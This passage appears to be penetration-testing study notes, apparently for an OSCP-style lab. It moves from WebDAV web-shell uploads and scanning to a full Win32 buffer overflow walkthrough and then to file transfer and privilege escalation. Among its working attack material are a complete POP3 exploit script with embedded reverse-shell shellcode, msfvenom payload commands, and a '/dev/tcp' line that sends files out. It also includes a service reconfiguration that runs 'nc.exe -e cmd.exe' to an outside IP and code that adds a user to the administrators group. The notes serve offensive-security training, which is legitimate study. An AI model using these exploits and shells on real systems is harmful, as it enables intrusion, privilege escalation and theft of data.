  • If that doesn't work, try using the semicolon bypass by renaming it to shell.php;.txt or shell.asp;.txt
  1. Open a listener and access your shell by visiting your shell page or by using a GET request

Generating Shell Payload

Bypassing Protected Folders

Bypassing Restricted File Type Uploads

Other Resources:

Ways to Interact with WebDAV Server

5 Methods to Upload to WebDAV

cadaver
cadaver http://[ip]/[folder]
put, copy, move, get, etc.
WebDAV Interaction with BurpSuite

Note: It is important to leave the whitespaces after the request, to let the server know that you have completed stating your request, just like in nc, otherwise the server will wait and hang.

Retrieve properties of a resource

PROPFIND / HTTP/1.1
Host: 192.168.1.23
Content-Type: text/xml
Content-Length: 147
Depth: 0
Translate: f

<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:">
<a:prop><a:getcontenttype/></a:prop>
<a:prop><a:getcontentlength/></a:prop>
</a:propfind>

Directory listing

GET / HTTP/1.1
Host: 192.168.1.23

Upload ASP shell with .txt extension to WebDAV using PUT

PUT /shell.txt HTTP/1.1
Host: 192.168.1.23
Content-Length: 38337

[ASP shellcode content here]

Move shell.txt to shell.asp;.txt

COPY /shell.txt HTTP/1.1
Host: 192.168.1.23
Destination: http://192.168.1.23/shell.asp%3b.txt

Execute shell.asp;.txt, make sure to open a nc listener on port 443

GET /shell.asp%3b.txt HTTP/1.1
Host: 192.168.1.23

CGI

  • Use /usr/share/seclists/Discovery/Web_Content/cgis.txt wordlist to find cgi pages.
  • searchsploit apache cgi
  • nmap --script=http-shellshock --script-args uri=/cgi-bin/test.cgi --script-args uri=/cgi-bin/admin.cgi

PHP

# PHP 5.5.9 search order, edit if necessary, eg. php version, windows?.
searchsploit --colour -t php 5 | grep -v '/dos/\|/windows' | grep -iP '^(php|apache \+ php) (\d|<)'
searchsploit --colour -t php 5.5 | grep -v '/dos/\|/windows' | grep -iP '^(php|apache \+ php) (\d|<)'
searchsploit --colour -t php 5.x | grep -v '/dos/\|/windows' | grep -iP '^(php|apache \+ php) (\d|<)'

HTTP Enumeration Tips

Wordlists

  • Dirsearch - ~/tools/dirsearch/db/dicc.txt
  • DirB - /usr/share/dirb/wordlists/
  • wfuzz - /usr/share/wfuzz/wordlist/
  • SecList - /usr/share/seclists/
    • /usr/share/seclists/Discovery/Web_Content/
    • /usr/share/seclists/Discovery/Web_Content/common.txt
    • /usr/share/seclists/Discovery/Web_Content/cgis.txt

Hardcoded Links

If a website has hardcoded links like "http://pinkdb.com" or "http://172.16.5.5", which you do not have access to, simply an entry like [actual server ip] [hardcoded value] (eg. 192.168.1.23 pinkydb.com) to /etc/hosts

Apache Directory Default Layouts

https://wiki.apache.org/httpd/DistrosDefaultLayout#Debian.2C_Ubuntu_.28Apache_httpd_2.x.29

Host Header

The host-Header tells the webserver which virtual host to use. Sometimes servers may behave differently when the host-header is changed from their IP to their hostname (example.com).

Lookout For

  • Apache mod_x, as they may be vulnerable
  • WebDAV
  • CGI

ident Enuemeration

ident-user-enum

Identify owners of processes

ident-user-enum 192.168.1.23 22 113 139 445

Vulnerability Scanning

Vulnerability Scanning with Nmap

NSE scripts that scans for vulnerabilities are at ls -l /usr/share/nmap/scripts/*vuln*.

  • nmap -p 80 --script=all 192.168.1.23 - Scan a target using all NSE scripts. May take an hour to complete.
  • nmap -p 80 --script=*vuln* 192.168.1.23 - Scan a target using all NSE vuln scripts.
  • nmap -p 80 --script=http*vuln* 192.168.1.23 - Scan a target using all HTTP vulns NSE scripts.
  • nmap -p 21 --script=ftp-anon 192.168.1.0/24 - Scan entire network for FTP servers that allow anonymous access.
  • nmap -p 80 --script=http-vuln-cve2010-2861 192.168.1.0/24 - Scan entire network for a directory traversal vulnerabilitiy. It can even retrieve admin's password hash.

The OpenVAS Vulnerability Scanner

OpenVAS Initial Setup

openvas-setup

Apparently, the program will fail. Thankfully, OpenVAS is already installed on the OffSec VM: https://forums.offensive-security.com/showthread.php?3216-05-2-1-Changes-to-quot-OpenVAS-Initial-Setup-quot-(openvas-setup)&p=12828#post12828 and https://forums.offensive-security.com/showthread.php?10139-OpenVas-Setup-issue&p=54721#post54721

Just run the following commands to get it up and running.

openvasmd --user=admin --new-password=NEW_PASSWORD
service redis-server start
service greenbone-security-assistant start
service openvas-scanner start
service openvas-manager start
firefox https://127.0.0.1:9392

Add new target -> add new scan using target -> run

Buffer Overflows

Fuzzing

Fuzz base on buffer length and perhaps different characters, check for crashes, and observe memory stack in debugger.

#!/usr/bin/env python

import socket
string = 'A'

for i in range(100, 10000, 200):
    print 'Fuzzing PASS with {} bytes'.format(i)
    s = socket.socket()
    s.connect(('192.168.1.23', 110))
    s.recv(1024)
    s.send('USER test\r\n')
    s.recv(1024)
    s.send('PASS {}\r\n'.format(string * i))
    s.send('QUIT\r\n')
    s.close()

Win32 Buffer Overflows

Stack overflow simulation

ESP -> 1000 .... \
       1001 .... |- # Current function
       1002 .... |
       1003 .... /
EBP -> 1003 100A # Previous EBP further down
       1004 3AFD # Return address to previous calling function
       1005 ....
       1006 ....

ESP -> 1000 AAAA \
       1001 AAAA |- # Current function
       1002 AAAA |
       1003 AAAA /
EBP -> 1003 AAAA # Previous EBP further down
       1004 BBBB # Return address to previous calling function
       1005 CCCC
       1006 ....

# Function completes, and starts cleaning up.
# leave (mov esp, ebp)

       1000 AAAA \
       1001 AAAA |- # Current function
       1002 AAAA |
       1003 AAAA /
EB/SP->1003 AAAA # Previous EBP further down
       1004 BBBB # Return address to previous calling function
       1005 CCCC
       1006 ....

# leave (pop ebp) (ebp is now AAAA, and esp + 1)

       1000 AAAA \
       1001 AAAA |- # Current function
       1002 AAAA |
       1003 AAAA /
       1003 AAAA
ESP -> 1004 BBBB # Return address to previous calling function
       1005 CCCC
       1006 ....

# ret (pop eip) (eip is now BBBB, and esp + 1)

       1000 AAAA
       1001 AAAA
       1002 AAAA
       1003 AAAA
       1004 BBBB # Return address to previous calling function, popped as EIP
ESP -> 1005 CCCC
       1006 ....

# jmp esp

ESP -> 1005 NOPS # nop sled to avoid shellcode from "stepping on its toes" while decoding
       1006 NOPS
       1007 CCCC # shellcode
       1008 CCCC
       1009 CCCC
       100A CCCC

Crashing

With fuzzing, see whether server crashes after a certain length buffer.

  • Fuzz
  • Check for crash

Controlling EIP

With a debugger like Immunity Debugger, see whether EIP is overwritten with your buffer.

  1. Run vulnerable server
  2. Open Immunity Debugger
  3. Attach server process
  4. Run
  5. Send long buffer
  6. In Immunity Debugger check whether EIP has been overwritten

Find Offset

  1. Use /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l [length] to create a cyclic pattern with the buffer length
  2. Restart server and debugger
  3. Send buffer
  4. Record overwritten EIP
  5. Use /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q [eip value] to find offset
  6. Update buffer with new offset, and enter a custom value to overwrite EIP.
  7. Pad the buffer to see how much more bytes you can fill in the stack after overwriting EIP. If the EIP does not get overwritten anymore, your buffer is too long, decrease the appended padding size. Anything above 500 bytes will be good to go, as most shellcode sizes are 300-500 bytes.

Check for Bad Characters

  1. Replace the appended padding with:
badchars = (
'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10'
'\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20'
'\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30'
'\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40'
'\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50'
'\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60'
'\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70'
'\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80'
'\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90'
'\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0'
'\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0'
'\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0'
'\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0'
'\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0'
'\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0'
'\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff')
  1. Restart server and debugger
  2. Send buffer
  3. Right click on ESP and follow in memory dump
  4. Check whether any of the bytes are missing. A quick way is to look through the last column and see whether all the xF aligns
   01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
192.168.1.23 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f
30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f
40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f
50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f
60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f
70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f
80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f
90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f
a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af
b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf
c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf
d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df
e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef
f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
  1. Record bad characters, including 0x00 as that is a null byte. Keep them in mind when finding a JMP location and when generating shellcode later on

Finding a Register to Jump to Your Shellcode

  1. Restart server and debugger, keeping it paused
  2. Send buffer and crash the service
  3. Check out the registers, find one that points to the buffer you sent, or somewhere close. In this case the register ESP points directly after the overwritten EIP
  4. Right click on top-left assembly window
  5. Search for > Command
  6. Enter jmp esp
  7. Ensure the address does not include bad characters
  8. Record the address of the instruction

Alternatives

If no results were found in step 4, try Search for > Sequence of commands, enter the following, and use that address instead:

push esp
retn

If there are still no results, try finding those commands elsewhere in the program's DLLs with Mona.

  1. List all DLLs being used with !mona modules at the bottom of Immunity Debugger
  2. Try finding a module that has nearly all security features in "False" state (Rebase, SafeSEH, ASLR, NXCompat)
  3. Click on e in Immunity Debugger to open "Executable Modules" window
  4. Locate the module and double click on it
  5. Repeat steps 2-6 in the previous section to search for instructions

If there are still no results, which is uncommon for complex modules, no worries. The default "Search for" function in Immunity Debugger only searches within executable regions, which is usually in the .text segment of the module, which can be viewed by clicking on m in Immunity Debugger. Notice the R E in the same row as the module's .text segment. If the program is compiled with DEP support, the JMP ESP would have to be located within .text segment. If it is not, fortunately you can find the instructions in non-executable segments as well.

Since we can't use Immunity Debugger "Search for" function, we'll have to use Mona to find the instructions for us

  1. Find the opcode for the JMP ESP instruction with /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb and type in jmp esp. The result is FFE4
  2. In Immunity Debugger, type !mona find -s "\xff\xe4" -m [module.dll] to search for the instruction within the entire module
  3. Pick a result that does not contain any bad characters in the address
  4. Jump to the address location by clicking on the black "wall bang"-looking button in the Immunity Debugger toolbar, and entering the address
  5. Confirm that the instructionn is JMP ESP
  6. Record the address of the instruction

Linux Objdump

You can use Kali to find the offset of certain instructions from let's say a DLL:

objdump -D -M intel user32.dll | grep 'jmp.*esp' | head

Generate Shellcode

  1. Generate shellcode payload with msfvenom -p windows/shell_reverse_tcp -a x86 --platform windows LHOST=192.168.1.23 LPORT=443 -f c -b '\x00' -e x86/shikata_ga_nai EXITFUNC=thread, swap out with your listener IP and port, bad chars with -b '\x00,\x0A,\x0D' for example, etc. The EXITFUNC=thread ensures that only the thread serving your exploit is terminated, not the entire process by default
  2. Paste in a NOP sled of about 16 \x90s after the overwritten EIP, and then the shellcode, and then the padding. Since the shellcode decoder is going to require some workspace in the stack (the same area where the shellcode is being stored), it will require some buffer space to avoid "stepping on its own toes".
  3. Open a listener and pop the shell

Example Final Code

#!/usr/bin/python

import socket
s = socket.socket()

shellcode = (
"\xd9\xc1\xba\x8d\x2f\x0e\x1c\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x52\x31\x55\x17\x03\x55\x17\x83\x48\x2b\xec\xe9\xae\xdc\x72"
"\x11\x4e\x1d\x13\x9b\xab\x2c\x13\xff\xb8\x1f\xa3\x8b\xec\x93"
"\x48\xd9\x04\x27\x3c\xf6\x2b\x80\x8b\x20\x02\x11\xa7\x11\x05"
"\x91\xba\x45\xe5\xa8\x74\x98\xe4\xed\x69\x51\xb4\xa6\xe6\xc4"
"\x28\xc2\xb3\xd4\xc3\x98\x52\x5d\x30\x68\x54\x4c\xe7\xe2\x0f"
"\x4e\x06\x26\x24\xc7\x10\x2b\x01\x91\xab\x9f\xfd\x20\x7d\xee"
"\xfe\x8f\x40\xde\x0c\xd1\x85\xd9\xee\xa4\xff\x19\x92\xbe\xc4"
"\x60\x48\x4a\xde\xc3\x1b\xec\x3a\xf5\xc8\x6b\xc9\xf9\xa5\xf8"
"\x95\x1d\x3b\x2c\xae\x1a\xb0\xd3\x60\xab\x82\xf7\xa4\xf7\x51"
"\x99\xfd\x5d\x37\xa6\x1d\x3e\xe8\x02\x56\xd3\xfd\x3e\x35\xbc"
"\x32\x73\xc5\x3c\x5d\x04\xb6\x0e\xc2\xbe\x50\x23\x8b\x18\xa7"
"\x44\xa6\xdd\x37\xbb\x49\x1e\x1e\x78\x1d\x4e\x08\xa9\x1e\x05"
"\xc8\x56\xcb\x8a\x98\xf8\xa4\x6a\x48\xb9\x14\x03\x82\x36\x4a"
"\x33\xad\x9c\xe3\xde\x54\x77\x06\x14\x56\x69\x7e\x28\x56\x74"
"\xc4\xa5\xb0\x1c\x2a\xe0\x6b\x89\xd3\xa9\xe7\x28\x1b\x64\x82"
"\x6b\x97\x8b\x73\x25\x50\xe1\x67\xd2\x90\xbc\xd5\x75\xae\x6a"
"\x71\x19\x3d\xf1\x81\x54\x5e\xae\xd6\x31\x90\xa7\xb2\xaf\x8b"
"\x11\xa0\x2d\x4d\x59\x60\xea\xae\x64\x69\x7f\x8a\x42\x79\xb9"
"\x13\xcf\x2d\x15\x42\x99\x9b\xd3\x3c\x6b\x75\x8a\x93\x25\x11"
"\x4b\xd8\xf5\x67\x54\x35\x80\x87\xe5\xe0\xd5\xb8\xca\x64\xd2"
"\xc1\x36\x15\x1d\x18\xf3\x35\xfc\x88\x0e\xde\x59\x59\xb3\x83"
"\x59\xb4\xf0\xbd\xd9\x3c\x89\x39\xc1\x35\x8c\x06\x45\xa6\xfc"
"\x17\x20\xc8\x53\x17\x61"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + '\x90' * 16 + shellcode + 'C' * (3500 - 2606 - 4 - 351 - 16)

try:
    print 'Sending buffer...'
    s.connect(('192.168.1.23', 110))
    s.recv(1024)
    s.send('USER username\r\n')
    s.recv(1024)
    s.send('PASS {}\r\n'.format(buffer))
    print('Done')
except:
    print 'Could not connect to POP3'

Linux Buffer Overflows

edb --run [binary]

Double press run. To search for JMP ESP, Ctrl-O, Jump Equivalent to ESP -> EIP, select first region, Find. As per usual, find a suitable place to store the shellcode, by referring to the registers. In Crosfires case, it looks like you can't store much at the ESP, only 7 bytes, so no shellcode can be stored there. We also notice EAX points to the start of the buffer ((setup sound ...), so let's store the shellcode after (setup sound , and use those 7 bytes at ESP to be first-stage shellcode to JMP to EAX + len((setup sound ). Overwrite EIP > JMP to a JMP ESP > JMP ESP > ADD EAX, 12 > JMP EAX > Shellcode.

Note on indirect offset jumping, jmp esp+20 is not possible, jmp [esp+20] loads the value at esp+20, which is not intended. Instead, lea eax, [esp+20]; jmp eax or sub esp, 20; jmp esp. https://forums.offensive-security.com/showthread.php?5745-crossfire-bind-vs-reverse-shell&p=59289#post59289

Note on exploiting crossfire server, run it as a standalone, not in edb, otherwise shell will not respond to commands. https://forums.offensive-security.com/showthread.php?5745-crossfire-bind-vs-reverse-shell&p=59289#post59289

Exploits

Searching Exploits

There are many fake exploits in the wild, many often causing harm to your system. Where can you find reliable sources for public exploit code?

In Kali, you can use searchsploit [query] to find exploits. Use searchsploit -u to pull latest updates.

Customizing and Fixing Exploits

Many exploits are one shots, meaning if they are unsuccessful, the service will crash. For that reason, never run an exploit without first examining the code and understand the inner workings. Once done, set up a small dev environment which matches the OS version and vulnerable software version, in order to test and improve existing exploits. Once we are fairly certain that our fixed exploit will work on the target machine, we can then proceed to launch it against our victim.

  1. Swap the shellcode (chance that the size matters to bypass DEP and ASLR)
  2. Fix the offsets (based on previous knowledge, or debugging)
  3. Hardcoded variables (like server IP)

Some C programs are meant to be compiled in a Windows environment, not just linux. To identify them, simply look at the includes, if "win" is in the name, is most likely for Windows.

Linux Compilation

gcc -o [elf] [.c]
gcc -Wl,--hash-style=both -o [elf] [.c] # "error while loading shared libraries: requires glibc 2.5 or later dynamic linker"
gcc -static -o [elf] [.c] # or this

Resources:

Windows Compilation

You can compile and run in Linux with mingw-w64 and wine!

apt install mingw-w64
i686-w64-mingw32-gcc [.c] -o [.exe] # -lws2_32
i686-w64-mingw32-g++ [.cpp] -o [.exe]
wine [.exe]

Tips

File Transfers

Antivirus may be triggered by an upload, so be careful when transferring files. One of OffSec's favourite ways to avoid AV is to use legitimate administrative tools during post exploitation phase.

File Transfer Methods

Unix environments will often have tools such as nc, curl, wget preinstalled, making file transfer simple. However, on Windows, the process is not as straight forward.

Most netcat-like connections provide a non-interactive shell. Interactive commands like ftp on Windows won't work. So we have to transfer files using non-interactive methods.

TFTP

Windows XP and 2003. Windows 7, 2008 and above will need to be explicitly added during installation.

Easy, but slow speed of 2kb/sec

On Kali:

mkdir /tftp # DIRECTORY HOSTING FILES
atftpd --daemon --port 69 /tftp

On Windows:

tftp -i [kali ip] get [file]

FTP

All Windows.

Fast speed of 206kb/sec. Scripts available in OSCP-Notes/scripts

On Kali:

#!/bin/bash
apt update && apt install pure-ftpd
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome # use user offsec when logging into ftp
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome # DIRECTORY HOSTING FILES
chown -R ftpuser:ftpgroup /ftphome/
service pure-ftpd restart

On Windows:

echo open [kali ip] 21> ftp.txt
echo USER offsec>> ftp.txt # username
echo ftp>> ftp.txt # password
echo bin>> ftp.txt # binary mode
echo GET [file]>> ftp.txt
echo bye>> ftp.txt
ftp -v -n -s:ftp.txt
# or
echo open [kali ip] 21>ftp.txt&echo USER offsec>>ftp.txt&echo ftp>>ftp.txt&echo bin>>ftp.txt&echo GET [file]>>ftp.txt&echo bye>>ftp.txt&ftp -v -n -s:ftp.txt

VBScript via HTTP

Windows XP, 2003

Moderate speed of 50kb/sec. Scripts available in OSCP-Notes/scripts

On Kali:

service apache2 start
# /var/www/html # DIRECTORY HOSTING FILES

On Windows:

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
cscript wget.vbs http://[kali ip]/[file] [file]

Powershell via HTTP

Windows 7, 2008 and above

Slow speed of 20kb/sec, but most readily available on most modern Windows OS

On Kali:

service apache2 start # /var/www/html # DIRECTORY HOSTING FILES
# or
python -m SimpleHTTPServer # current working dir will be DIRECTORY HOSTING FILES

On Windows:

echo $storageDir = $pwd >wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://[kali ip]/[file]" >>wget.ps1
echo $file = "[file]" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Debug.exe

Older 32-bit Windows

Limited to 64kb, slow speed of 3kb/sec, limited to the connection speed of the shell

On Kali:

upx -9 [.exe] # pack and compress a binary you wanna transfer
ls -lah [.exe] # check whether it is less than 64kb
exe2hex [.exe] # alternatively, `wine /usr/share/windows-binaries/exe2bat.exe [.exe] [.bat]`
cat [.bat] | xclip -selection c # if remotely accessing kali, use `ssh -X`, a bit finicky though

On Windows:

# paste

nc.exe

Requires nc.exe to be already transferred. Allows for two-way transfers.

C:\nc.exe -lvp 4444 > [file] # on Windows
nc [windows ip] 4444 < [file] # on Kali

Vice versa.

Linux Dev TCP

cat file.txt > /dev/tcp/192.168.1.23/4444 # on victim linux
nc -lvp 4444 > file.txt # on Kali

Privilege Escalation

Kernel Exploits

Linux Kernel Exploits

Tools:

Windows Kernel Exploits

PoC Exploits

To compile C/C++ Windows exploit on Linux:

  • i686-w64-mingw32-gcc [.c] -o [.exe] [-lws2_32]
  • i686-w64-mingw32-g++ [.cpp] -o [.exe] [-lws2_32]

To compile Python exploit on Windows:

  1. On Windows, install PyWin32
  2. Download and extract Pyinstaller
  3. Open cmd and cd into Pyinstaller
  4. python pyinstaller.py --onefile [.py]

Note: Pywin32 installation error: https://stackoverflow.com/a/21081675/4908573

Resources:

Tools:

Configuration Issues

Linux Configuration Issues

What's the OS? What version? What architecture?

  • cat /etc/*-release
  • uname -i
  • lsb_release -a (Debian based OSs)

Who are we? Where are we?

  • id
  • pwd

Who uses the box? What users? (And which ones have a valid shell)

  • cat /etc/passwd
  • grep -vE "nologin|false" /etc/passwd

What's currently running on the box? What active network services are there?

  • ps aux
  • netstat -antup

What's installed? What kernel is being used?

  • dpkg -l (Debian based OSs)
  • rpm -qa (CentOS / openSUSE)
  • uname -a

Much more at: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

  • SUID Files
  • find / -perm -4000 -type f -ls 2> /dev/null find SUID files that are potentially vulnerable (outdated nmap w/ interactive mode, scripts that give you effective root immediately)
  • find / \( -perm -2003 -o -perm -4003 \) -type f -ls 2> /dev/null find SUID/SGID files that are both writable and executable (if you are lucky)
  • find / -perm -002 -type f -ls 2> /dev/null | grep cron find writable cron files (and use it to open a reverse shell)

Writable /etc/passwd or /etc/shadow

  • Writable /etc/passwd, write password generated from openssl passwd [password] to root:[here]:0:0:root:/root:/bin/bash, then login as root using the password.

Find writable tmp folders to do work in:

mount | grep /tmp # check if tmp is mounted differently
cd /tmp
# or
cd /var/tmp

Are you a sudo user already? Do you have access to powerful commands like chown or chmod?

sudo -l
sudo su -

Are you part of the sudo group, but not in the sudoers file?

id # 27(sudo)
pkexec sh

No TTY or PTY, non-interactive? ("no tty present and no askpass program specified") Spawn one:

python -c 'import pty;pty.spawn("/bin/bash")'

Errors about missing files while compiling with gcc? ("gcc: error trying to exec 'cc1': execvp: No such file or directory") Export PATH:

export PATH=$PATH

Resources:

Tools:

SUID Privilege Escalation

Note: setuid bit simply allows a script to set the uid. The script still needs to call setuid() or setreuid() to run in the the real uid or effective uid respectively. Without calling setuid() or setreuid(), the script will still run as the user who invoked the script: https://stackoverflow.com/a/20687988/4908573

Ensure to use "PrependSetuid=true" when generating a binary that is going to be directly used in SUID privilege escalation:

msfvenom -p linux/x86/exec cmd=/bin/bash PrependSetuid=true -f elf -o shell

Resources:

Or instead of using an "exec" binary to give you a shell, manually setuid in C, compile, run:

echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c
sudo chown root:root /tmp/setuid
sudo chmod 4755 /tmp/setuid
/tmp/setuid
Simple PATH SUID Privilege Escalation
# On Victim
bob@sufferance:~$ ls -l /usr/local/bin/uploadtosecure
-rwsr-xr-x 1 root root 6923 2008-10-07 19:38 /usr/local/bin/uploadtosecure
bob@sufferance:~$ strings /usr/local/bin/uploadtosecure
puts
system
...
Archiving files to secure server...
scp -r file/tobesecured/* 10.192.168.1.23:/var/www/html/files/

# On Kali
msfvenom -p linux/x86/exec CMD=/bin/sh -f elf -o scp

# On Victim
wget 192.168.1.23/scp -O /tmp/scp # transfer the exec binary over to Sufferance
chmod 755 /tmp/scp
export PATH=/tmp:$PATH
/usr/local/bin/uploadtosecure # it'll now call our "special" scp binary in /tmp instead
whoami
Bypass Absolute Binary Paths with IFS

If the binary being called is absolute (eg. /usr/bin/scp), you can export IFS=/. The SUID binary will now execute usr bin scp. Drop a usr binary into /tmp and add it to PATH.

Windows Configuration Issues

Great Resources:

Weak Service Permissions

NOTE: Hi-priv shell sessions that are created through weak services will die quickly, like in 20-30 sec, make sure to migrate (Meterpreter) to a new process, or start a create a new process by opening another shell with nc.exe

Insecure File/Folder Permissions with wmic and icacls

Use icacls [.exe] to check for insecure permissions such as Everyone:(I)(F) within service executables (within services.msc), and then with a non-privileged user, replace that file with a malicious file.

Automatically find weak service file permissions with the following:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> services.txt
for /f eol^=^"^ delims^=^" %a in (services.txt) do cmd.exe /c icacls "%a" >> permissions.txt
# look for `Everyone:(...)(F)`, `BUILTIN\Users:(...)(F)`, `NT AUTHORITY\Authenticated Users:(...)(M)`, `NT AUTHORITY\Authenticated Users:(...)(C)`, `[Computer]\[Your User]:(...)(F)` in permissions.txt. transfer it out to kali if needed, as it it'll be easier to search

Upload a reverse shell executable and replace the original service executable with the malicious one with copy useradd.exe C:\the\path\to\service\binary.exe. The next time the service is started, the malicious executable will run with SYSTEM privileges.

Tools:

  • icacls

Alternatively, make the current low-priv user an Administrator. Prepare a malicious executable to give bob administrative rights on Kali:

#include <stdlib.h>
int main() {
  int i;
  i = system("net localgroup administrators bob /add");
  return i;
}

Compile it to an executable using mingw32: i686-w64-mingw32-gcc -o useradd.exe useradd.c

Resources:

Insecure Service Permissions with accesschk.exe and sc
accesschk.exe -accepteula
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *
# find a service that returns `SERVICE_ALL_ACCESS`.
sc qc Apache # query the service to check whether it runs as system, it's binary path, etc.
sc config Apache binPath= "C:\Windows\TEMP\nc.exe 192.168.1.23 4444 -e cmd.exe" # or "net localgroup administrators bob /add"
sc config Apache obj= ".\LocalSystem" password= "" # this makes the service run as SYSTEM. do this for services that has smth other than LocalSystem in SERVICE_START_NAME
sc config Apache start= demand # this allows a service to be started. do this if a service is disabled
# restart service

Windows XP SP0 & SP1 UPNP (upnphost) and SSDP Discovery (ssdpsrv) Services have insecure service permission. They allow "Authenticated Users" to modify the services. It can be used as a universal local privilege escalation vulnerability. Note, upnphost requires ssdpsrv to start first.

Tools:

  • accesschk.exe
  • sc
  • Metasploit Module: exploit/windows/local/service_permissions

Resources:

Unquoted Services

Find services that are unquoted:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

When Windows attempts to run these services, it will look at the following paths in order and run the first executable that it finds. Just imagine splitting the string with a space:

# C:\Program Files (x86)\Program Folder\A Subfolder\Another Subfolder\Executable.exe
C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\Program.exe
C:\Program Files (x86)\Program Folder\A.exe
C:\Program Files (x86)\Program Folder\A Subfolder\Another.exe
C:\Program Files (x86)\Program Folder\A Subfolder\Another Subfolder\Executable.exe

icacls "C:\Program Files (x86)\Program Folder\A Subfolder"
